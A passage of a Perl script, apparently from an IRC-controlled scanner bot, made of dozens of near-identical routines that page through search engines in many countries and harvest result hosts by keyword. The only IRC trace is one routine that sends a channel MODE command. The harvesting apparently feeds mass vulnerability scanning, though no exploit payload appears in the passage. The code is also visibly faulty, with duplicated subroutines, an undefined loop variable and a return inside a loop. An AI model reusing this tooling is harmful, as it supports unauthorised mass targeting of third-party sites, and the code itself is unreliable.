  1125. my $re = search_engine_query($clink);
  1126. while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) {
  1127. my $link = $1;
  1128. if ($1 !~ /webcrawler\.com/){
  1129. my @grep = &links($link);
  1130. push(@list,@grep);
  1131. }
  1132. }
  1133. }
  1134. return @list;
  1135. }
  1136.  
  1137. sub clusty() {
  1138. my @list;
  1139. my $key = $_[0];
  1140. my $b = 0;
  1141. for ($b=0; $b<=120; $b+=10) {
  1142. my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  1143. my $res = search_engine_query($search);
  1144. while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  1145. if ($1 !~ /yippy\.com/){
  1146. my $link = $1;
  1147. my @grep = &links($link);
  1148. push(@list,@grep);
  1149. }
  1150. }
  1151. }
  1152. return @list;
  1153. }
  1154.  
  1155. sub witch(){
  1156. my @list;
  1157. my $key = $_[0];
  1158. for($b=0; $b<=180; $b+=10){
  1159. my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b);
  1160. my $Res = search_engine_query($Lyc);
  1161. while ($Res =~ m/<a href=\"http:\/\/(.+?)\"/g){
  1162. my $link = $1;
  1163. if ($1 !~ /witch\.de/){
  1164. my @grep = &links($link);
  1165. push(@list,@grep);
  1166. }
  1167. }
  1168. }
  1169. return @list;
  1170. }
  1171.  
  1172. sub amidalla(){
  1173. my @list;
  1174. my $key = $_[0];
  1175. my $i = 0;
  1176. for ($i=1; $i<=200; $i+=10){
  1177. my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".uri_escape($key)."&page=".$i."&break=10&af=2&tld=com&et=2");
  1178. my $Res= search_engine_query($web);
  1179. while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
  1180. if ($1 !~ /amidalla/){
  1181. my $link = $1;
  1182. my @grep = &links($link);
  1183. push(@list,@grep);
  1184. }
  1185. }
  1186. }
  1187. return @list;
  1188. }
  1189.  
  1190. sub gibla() {
  1191. my @list;
  1192. my $key = $_[0];
  1193. for ($b=0; $b<=600; $b+=10) {
  1194. my $search = ("http://www.gigablast.com/search?s=".$b."&q=".uri_escape($key));
  1195. my $res = search_engine_query($search);
  1196. while ($res =~ m/<span class=\"url\">(.+?)<\/span>/g) {
  1197. my $link = $1;
  1198. if ($link!~ /gigablast/) {
  1199. my @grep = &links($link);
  1200. push(@list,@grep);
  1201. }
  1202. }
  1203. }
  1204. return @list;
  1205. }
  1206.  
  1207. sub mywebsearch() {
  1208. my @list;
  1209. my $key = $_[0];
  1210. for ($b = 1; $b<=30; $b+= 1) {
  1211. my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b);
  1212. my $res = search_engine_query($search);
  1213. while ($res =~ m/<span class=\"uri\">http:\/\/(.+?)\<\/span>/g) {
  1214. my $link = $1;
  1215. if ($1 !~ /mywebsearch\.com/){
  1216. my @grep = &links($link);
  1217. push(@list,@grep);
  1218. }
  1219. }
  1220. }
  1221. return @list;
  1222. }
  1223.  
  1224. sub dogpile() {
  1225. my @list;
  1226. my $key = $_[0];
  1227. for ($b = 1; $b<=901; $b+= 10) {
  1228. my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key));
  1229. my $res = search_engine_query($search);
  1230. while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) site=\"_blank\">(.+?)<\/a>/g) {
  1231. my $link = $2;
  1232. if ($link!~ /dogpile/) {
  1233. my @grep = &links($link);
  1234. push(@list,@grep);
  1235. }
  1236. }
  1237. }
  1238. return @list;
  1239. }
  1240.  
  1241. sub infocom() {
  1242. my @list;
  1243. my $key = $_[0];
  1244. for ($b = 1; $b<=60; $b+= 1) {
  1245. my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key));
  1246. my $res = search_engine_query($search);
  1247. while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) {
  1248. my $link = $1;
  1249. if ($link!~ /info\.com/) {
  1250. my @grep=links($link);
  1251. open( $filez, ">>", $name );
  1252. foreach my $k (@grep) { print $filez "$k\n"; }
  1253. close $filez;
  1254. push(@list,@grep);
  1255. }
  1256. }
  1257. }
  1258. return @list;
  1259. }
  1260.  
  1261. sub searchcom() {
  1262. my @list;
  1263. my $key = $_[0];
  1264. for ($b = 1; $b<=40; $b+= 1) {
  1265. my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10");
  1266. my $res = search_engine_query($search);
  1267. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick=\"/g) {
  1268. my $link = $1;
  1269. if ($link!~ /search\.com/) {
  1270. my @grep = &links($link);
  1271. push(@list,@grep);
  1272. }
  1273. }
  1274. }
  1275. return @list;
  1276. }
  1277.  
  1278. sub teoma() {
  1279. my @list;
  1280. my $key = $_[0];
  1281. for ($b = 1; $b<=60; $b+= 1) {
  1282. my $search = ("http://www.teoma.com/web?q=".uri_escape($key)."&page=".$b);
  1283. my $res = search_engine_query($search);
  1284. while ($res =~ m/href=\"http:\/\/(.+?)\"/g) {
  1285. my $link = $1;
  1286. if ($link!~ /teoma\.com/) {
  1287. my @grep = &links($link);
  1288. push(@list,@grep);
  1289. }
  1290. }
  1291. }
  1292. return @list;
  1293. }
  1294.  
  1295. sub izito() {
  1296. my @list;
  1297. my $key = $_[0];
  1298. for ($b=0; $b<=20; $b+=1) {
  1299. my $search = ("http://www.izito.com/?query=".uri_escape($key)."&where=web_izito&site=web_izito&vid=l1847521836I1359583892&con=y&asid=1810073229&tag=7570085394I1359583978&clt=topic&sr=r&pg=".$b);
  1300. my $res = search_engine_query($search);
  1301. while ($res =~ m/<div class=\"title_up\"><a href=\"http:\/\/(.*?)\" site=/g) {
  1302. my $link = $1;
  1303. if ($1 !~ /izito\.com/){
  1304. my @grep = &links($link);
  1305. push(@list,@grep);
  1306. }
  1307. }
  1308. }
  1309. return @list;
  1310. }
  1311.  
  1312. sub onyet() {
  1313. my @list;
  1314. my $key = $_[0];
  1315. for ($b=1; $b<=20; $b+=1) {
  1316. my $search = ("http://szukaj.onet.pl/0,".$b.",query.html?qt=".uri_escape($key));
  1317. my $res = search_engine_query($search);
  1318. while ($res =~ m/class=\"link\"><a href=\"http:\/\/(.+?)\">/g) {
  1319. if ($1 !~ /onet\.pl/){
  1320. my $link = $1;
  1321. my @grep = &links($link);
  1322. push(@list,@grep);
  1323. }
  1324. }
  1325. }
  1326. return @list;
  1327. }
  1328.  
  1329. sub askom() {
  1330. my @list;
  1331. my $key = $_[0];
  1332. for (my $i=0; $i<=40; $i+=1) {
  1333. my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss=");
  1334. my $res = search_engine_query($search);
  1335. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  1336. if ($1 !~ /ask\.com/){
  1337. my $link = $1;
  1338. my @grep = &links($link);
  1339. push(@list,@grep);
  1340. }
  1341. }
  1342. }
  1343. return @list;
  1344. }
  1345.  
  1346. sub google() {
  1347. my @list;
  1348. my $key = $_[0];
  1349. for (my $b=0; $b<=1000; $b+=100){
  1350. my $search = ($jack1.uri_escape($key)."&num=100&filter=0&start=".$i);
  1351. my $res = &search_engine_query($search);
  1352. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1353. my $link = $1;
  1354. if ($link !~ /google/){
  1355. my @grep = &links($link);
  1356. push(@list,@grep);
  1357. }
  1358. }
  1359. }
  1360. return @list;
  1361. }
  1362.  
  1363. sub walla() {
  1364. my @list;
  1365. my $key = $_[0];
  1366. for ($b=0; $b<=100; $b+=1) {
  1367. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  1368. my $res = &search_engine_query($search);
  1369. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  1370. my $link = $1;
  1371. if ($link !~ /walla\.co\.il/){
  1372. my @grep = &links($link);
  1373. push(@list,@grep);
  1374. }
  1375. }
  1376. }
  1377. return @list;
  1378. }
  1379.  
  1380.  
  1381. sub yahoo(){
  1382. my @list;
  1383. my $key = $_[0];
  1384. for ($b=1; $b<=1000; $b+=10) {
  1385. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  1386. my $res = &search_engine_query($search);
  1387. while ($res =~ m/http:\/\/([^>]*)\//g) {
  1388. my $link = $1;
  1389. if ($link !~ /yahoo\.com/){
  1390. my @grep = &links($link);
  1391. push(@list,@grep);
  1392. }
  1393. }
  1394. }
  1395. return @list;
  1396. }
  1397.  
  1398. sub ask() {
  1399. my @list;
  1400. my $key = $_[0];
  1401. for (my $i=1; $i<=1000; $i+=100) {
  1402. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  1403. my $res = &search_engine_query($search);
  1404. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  1405. my $link = $1;
  1406. if ($link !~ /ask\.com/){
  1407. my @grep = &links($link);
  1408. push(@list,@grep);
  1409. }
  1410. }
  1411. }
  1412. return @list;
  1413. }
  1414.  
  1415. sub onet() {
  1416. my @list;
  1417. my $key = $_[0];
  1418. my $b = 0;
  1419. for ($b=1; $b<=400; $b+=10) {
  1420. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  1421. my $res = &search_engine_query($search);
  1422. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  1423. my $link = $1;
  1424. if ($link !~ /onet|webcache|query/){
  1425. my @grep = &links($link);
  1426. push(@list,@grep);
  1427. }
  1428. }
  1429. }
  1430. return @list;
  1431. }
  1432.  
  1433. sub clusty() {
  1434. my @list;
  1435. my $key = $_[0];
  1436. my $b = 0;
  1437. for ($b=10; $b<=200; $b+=10) {
  1438. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  1439. my $res = &search_engine_query($search);
  1440. if ($res !~ /next/) {$b=100;}
  1441. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1442. my $link = $1;
  1443. if ($1 !~ /yippy\.com/){
  1444. my @grep = &links($link);
  1445. push(@list,@grep);
  1446. }
  1447. }
  1448. }
  1449. return @list;
  1450. }
  1451.  
  1452. sub bing() {
  1453. my @list;
  1454. my $key = $_[0];
  1455. for (my $i=1; $i<=400; $i+=10) {
  1456. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  1457. my $res = &search_engine_query($search);
  1458. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  1459. my $link = $1;
  1460. if ($link !~ /google/) {
  1461. my @grep = &links($link);
  1462. push(@list,@grep);
  1463. }
  1464. }
  1465. }
  1466. return @list;
  1467. }
  1468.  
  1469. sub sapo(){
  1470. my @list;
  1471. my $key = $_[0];
  1472. for ($b=1; $b<=50; $b+=1) {
  1473. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  1474. my $res = &search_engine_query($search);
  1475. if ($res !~ m/Next/i) {$b=50;}
  1476. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1477. my $link = $1;
  1478. if ($1 !~ /\.sapo\.pt/){
  1479. my @grep = &links($link);
  1480. push(@list,@grep);
  1481. }
  1482. }
  1483. }
  1484. return @list;
  1485. }
  1486.  
  1487. sub lycos() {
  1488. my @list;
  1489. my $key = $_[0];
  1490. for ($b=0; $b<=50; $b+=1) {
  1491. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  1492. my $res = &search_engine_query($search);
  1493. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  1494. my $link = $1;
  1495. if ($link !~ /lycos\.com/){
  1496. my @grep = &links($link);
  1497. push(@list,@grep);
  1498. }
  1499. }
  1500. }
  1501. return @list;
  1502. }
  1503.  
  1504. sub uol() {
  1505. my @list;
  1506. my $key = $_[0];
  1507. my $chan = $_[1];
  1508. for ($b=0; $b<=1000; $b+=10) {
  1509. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  1510. my $res = &search_engine_query($search);
  1511. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  1512. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1513. my $link = $1;
  1514. if ($link !~ /uol\.com\.br|\/web/i){
  1515. my @grep = &links($link);
  1516. push(@list,@grep);
  1517. }
  1518. }
  1519. }
  1520. sendraw("MODE $chan -m");
  1521. return @list;
  1522. }
  1523.  
  1524. sub seznam() {
  1525. my @list;
  1526. my $key = $_[0];
  1527. for ($b=1; $b<=300; $b+=20) {
  1528. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  1529. my $res = &search_engine_query($search);
  1530. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  1531. my $link = $1;
  1532. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  1533. my @grep = &links($link);
  1534. push(@list,@grep);
  1535. }
  1536. }
  1537. }
  1538. return @list;
  1539. }
  1540.  
  1541. sub hotbot() {
  1542. my @list;
  1543. my $key = $_[0];
  1544. for ($b=0; $b<=50; $b+=1) {
  1545. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  1546. my $res = &search_engine_query($search);
  1547. if ($res =~ m/had no web result/i) {$b=50;}
  1548. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  1549. my $link = $1;
  1550. if ($link !~ /hotbot\.com/){
  1551. my @grep = &links($link);
  1552. push(@list,@grep);
  1553. }
  1554. }
  1555. }
  1556. return @list;
  1557. }
  1558.  
  1559. sub aol() {
  1560. my @list;
  1561. my $key = $_[0];
  1562. for ($b=0; $b<=300; $b+=10) {
  1563. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  1564. my $res = &search_engine_query($search);
  1565. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1566. my $link = $1;
  1567. if ($link !~ /aol\.com/){
  1568. my @grep = &links($link);
  1569. push(@list,@grep);
  1570. }
  1571. }
  1572. }
  1573. return @list;
  1574. }
  1575.  
  1576. sub biglobe {
  1577. my $key = $_[0];
  1578. my @list;
  1579. for ($b=1; $b<=500; $b+=10) {
  1580. $num += $num;
  1581. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  1582. my $res = &search_engine_query($search);
  1583. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  1584. my $link = $1;
  1585. if ($link !~ /biglobe/){
  1586. my @grep = &links($link);
  1587. push(@list,@grep);
  1588. }
  1589. }
  1590. }
  1591. return @list;
  1592. }
  1593.  
  1594. sub yahoo2() {
  1595. my @list;
  1596. my $key = $_[0];
  1597. my $b = 0;
  1598. my @doms = ("nl","au","br","ca","de","es","fr","it","uk");
  1599. foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
  1600. for (my $i=1; $i<=1000; $i+=100) {
  1601. my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  1602. my $res = &search_engine_query($search);
  1603. while ($res =~ m/http:\/\/([^>]*)\//g) {
  1604. if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  1605. }
  1606. }
  1607. } return @list;
  1608. }
  1609. }
  1610.  
  1611. sub kvasir() {
  1612. my @list;
  1613. my $key = $_[0];
  1614. for (my $i=10; $i<=1000; $i+=100){
  1615. my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key)."");
  1616. my $res = &search_engine_query($search);
  1617. while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
  1618. my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  1619. }
  1620. }
  1621. }
  1622. return @list;
  1623. }
  1624.  
  1625. sub quint() {
  1626. my @lst;
  1627. my $key = $_[0];
  1628. for (my $i=0; $i<=50; $i+=1){
  1629. my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid=");
  1630. my $res = search_engine_query($search);
  1631. while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
  1632. my $link = $1;
  1633. if ($link !~ /quintura/){
  1634. my @grep = links($link);
  1635. push(@lst,@grep);
  1636. }
  1637. }
  1638. }
  1639. return @lst;
  1640. }
  1641.  
  1642. sub seznam() {
  1643. my @list;
  1644. my $key = $_[0];
  1645. for ($b=1; $b<=1000; $b+=100) {
  1646. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1647. my $res = &search_engine_query($search);
  1648. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1649. if ($1 !~ /seznam/){
  1650. my $link = $1;
  1651. my @grep = &links($link);
  1652. push(@list,@grep);
  1653. }
  1654. }
  1655. }
  1656. return @list;
  1657. }
  1658.  
  1659. sub pagina(){
  1660. my @list;
  1661. my $key = $_[0];
  1662. my $i = 0;
  1663. for ($i=0; $i<=100; $i+=1){
  1664. my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal");
  1665. my $Res= search_engine_query($web);
  1666. while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1667. if ($1 !~ /pagina|pagina's/){
  1668. my $k=$1;
  1669. my @grep=links($k);
  1670. push(@list,@grep);
  1671. }
  1672. }
  1673. }
  1674. return @list;
  1675. }
  1676.  
  1677. sub clix(){
  1678. my @list;
  1679. my $key = $_[0];
  1680. for($b=1;$b<=1000;$b+=100){
  1681. my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
  1682. my $Res=&search_engine_query($Th);
  1683. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  1684. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  1685. }
  1686. }
  1687. return @list;
  1688. }
  1689.  
  1690. sub ask2() {
  1691. my @list;
  1692. my $key = $_[0];
  1693. for (my $i=1; $i<=50; $i+=1) {
  1694. my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  1695. my $res = &search_engine_query($search);
  1696. if ($res !~ /Successiva/) {$i=50;}
  1697. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  1698. if ($1 !~ /ask\.com/){
  1699. my $link = $1;
  1700. my @grep = &links($link);
  1701. push(@list,@grep);
  1702. }
  1703. }
  1704. }
  1705. return @list;
  1706. }
  1707.  
  1708. sub googleCA() {
  1709. my @list;
  1710. my $key = $_[0];
  1711. for (my $i=0; $i<=1000; $i+=100){
  1712. my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1713. my $res = &search_engine_query($search);
  1714. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1715. my $link = $1;
  1716. if ($link !~ /googleCA/){
  1717. my @grep = links($link);
  1718. push(@list,@grep);
  1719. }
  1720. }
  1721. }
  1722. return @list;
  1723. }
  1724.  
  1725. sub googleDE() {
  1726. my @list;
  1727. my $key = $_[0];
  1728. for (my $i=0; $i<=1000; $i+=100){
  1729. my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1730. my $res = &search_engine_query($search);
  1731. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1732. my $link = $1;
  1733. if ($link !~ /googleDE/){
  1734. my @grep = links($link);
  1735. push(@list,@grep);
  1736. }
  1737. }
  1738. }
  1739. return @list;
  1740. }
  1741.  
  1742. sub googleUK() {
  1743. my @list;
  1744. my $key = $_[0];
  1745. for (my $i=0; $i<=1000; $i+=100){
  1746. my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1747. my $res = &search_engine_query($search);
  1748. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1749. my $link = $1;
  1750. if ($link !~ /googleUK/){
  1751. my @grep = links($link);
  1752. push(@list,@grep);
  1753. }
  1754. }
  1755. }
  1756. return @list;
  1757. }
  1758.  
  1759. sub googleFR() {
  1760. my @list;
  1761. my $key = $_[0];
  1762. for (my $i=0; $i<=1000; $i+=100){
  1763. my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1764. my $res = &search_engine_query($search);
  1765. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1766. my $link = $1;
  1767. if ($link !~ /googleFR/){
  1768. my @grep = links($link);
  1769. push(@list,@grep);
  1770. }
  1771. }
  1772. }
  1773. return @list;
  1774. }
  1775.  
  1776. sub googleES() {
  1777. my @list;
  1778. my $key = $_[0];
  1779. for (my $i=0; $i<=1000; $i+=100){
  1780. my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1781. my $res = &search_engine_query($search);
  1782. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1783. my $link = $1;
  1784. if ($link !~ /googleES/){
  1785. my @grep = links($link);
  1786. push(@list,@grep);
  1787. }
  1788. }
  1789. }
  1790. return @list;
  1791. }
  1792.  
  1793. sub googleIT() {
  1794. my @list;
  1795. my $key = $_[0];
  1796. for (my $i=0; $i<=1000; $i+=100){
  1797. my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1798. my $res = &search_engine_query($search);
  1799. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1800. my $link = $1;
  1801. if ($link !~ /googleIT/){
  1802. my @grep = links($link);
  1803. push(@list,@grep);
  1804. }
  1805. }
  1806. }
  1807. return @list;
  1808. }
  1809. sleep(3);
  1810. sub googleNL() {
  1811. my @list;
  1812. my $key = $_[0];
  1813. for (my $i=0; $i<=1000; $i+=100){
  1814. my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1815. my $res = &search_engine_query($search);
  1816. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1817. my $link = $1;
  1818. if ($link !~ /googleNL/){
  1819. my @grep = links($link);
  1820. push(@list,@grep);
  1821. }
  1822. }
  1823. }
  1824. return @list;
  1825. }
  1826.  
  1827. sub googleBE() {
  1828. my @list;
  1829. my $key = $_[0];
  1830. for (my $i=0; $i<=1000; $i+=100){
  1831. my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1832. my $res = &search_engine_query($search);
  1833. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1834. my $link = $1;
  1835. if ($link !~ /googleBE/){
  1836. my @grep = links($link);
  1837. push(@list,@grep);
  1838. }
  1839. }
  1840. }
  1841. return @list;
  1842. }
  1843.  
  1844. sub googleCH() {
  1845. my @list;
  1846. my $key = $_[0];
  1847. for (my $i=0; $i<=1000; $i+=100){
  1848. my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1849. my $res = &search_engine_query($search);
  1850. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1851. my $link = $1;
  1852. if ($link !~ /googleCH/){
  1853. my @grep = links($link);
  1854. push(@list,@grep);
  1855. }
  1856. }
  1857. }
  1858. return @list;
  1859. }
  1860. sleep(4);
  1861. sub googleSE() {
  1862. my @list;
  1863. my $key = $_[0];
  1864. for (my $i=0; $i<=1000; $i+=100){
  1865. my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1866. my $res = &search_engine_query($search);
  1867. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1868. my $link = $1;
  1869. if ($link !~ /googleSE/){
  1870. my @grep = links($link);
  1871. push(@list,@grep);
  1872. }
  1873. }
  1874. }
  1875. return @list;
  1876. }
  1877.  
  1878. sub googleDK() {
  1879. my @list;
  1880. my $key = $_[0];
  1881. for (my $i=0; $i<=1000; $i+=100){
  1882. my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1883. my $res = &search_engine_query($search);
  1884. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1885. my $link = $1;
  1886. if ($link !~ /googleDK/){
  1887. my @grep = links($link);
  1888. push(@list,@grep);
  1889. }
  1890. }
  1891. }
  1892. return @list;
  1893. }
  1894.  
  1895. sub googleNO() {
  1896. my @list;
  1897. my $key = $_[0];
  1898. for (my $i=0; $i<=1000; $i+=100){
  1899. my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1900. my $res = &search_engine_query($search);
  1901. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1902. my $link = $1;
  1903. if ($link !~ /googleNO/){
  1904. my @grep = links($link);
  1905. push(@list,@grep);
  1906. }
  1907. }
  1908. }
  1909. return @list;
  1910. }
  1911. sleep(3);
  1912. sub googleNZ() {
  1913. my @list;
  1914. my $key = $_[0];
  1915. for (my $i=0; $i<=1000; $i+=100){
  1916. my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1917. my $res = &search_engine_query($search);
  1918. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1919. my $link = $1;
  1920. if ($link !~ /googleNZ/){
  1921. my @grep = links($link);
  1922. push(@list,@grep);
  1923. }
  1924. }
  1925. }
  1926. return @list;
  1927. }
  1928.  
  1929. sub googleIE() {
  1930. my @list;
  1931. my $key = $_[0];
  1932. for (my $i=0; $i<=1000; $i+=100){
  1933. my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1934. my $res = &search_engine_query($search);
  1935. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1936. my $link = $1;
  1937. if ($link !~ /googleIE/){
  1938. my @grep = links($link);
  1939. push(@list,@grep);
  1940. }
  1941. }
  1942. }
  1943. return @list;
  1944. }
  1945.  
  1946. sub googleBR() {
  1947. my @list;
  1948. my $key = $_[0];
  1949. for (my $i=0; $i<=1000; $i+=100){
  1950. my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1951. my $res = &search_engine_query($search);
  1952. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1953. my $link = $1;
  1954. if ($link !~ /google/){
  1955. my @grep = links($link);
  1956. push(@list,@grep);
  1957. }
  1958. }
  1959. }
  1960. return @list;
  1961. }
  1962. sleep(4);
  1963. sub googleAR() {
  1964. my @list;
  1965. my $key = $_[0];
  1966. for (my $i=0; $i<=1000; $i+=100){
  1967. my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1968. my $res = &search_engine_query($search);
  1969. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1970. my $link = $1;
  1971. if ($link !~ /googleAR/){
  1972. my @grep = links($link);
  1973. push(@list,@grep);
  1974. }
  1975. }
  1976. }
  1977. return @list;
  1978. }
  1979.  
  1980. sub googleCO() {
  1981. my @list;
  1982. my $key = $_[0];
  1983. for (my $i=0; $i<=1000; $i+=100){
  1984. my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1985. my $res = &search_engine_query($search);
  1986. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1987. my $link = $1;
  1988. if ($link !~ /googleCO/){
  1989. my @grep = links($link);
  1990. push(@list,@grep);
  1991. }
  1992. }
  1993. }
  1994. return @list;
  1995. }
  1996.  
  1997. sub googleCU() {
  1998. my @list;
  1999. my $key = $_[0];
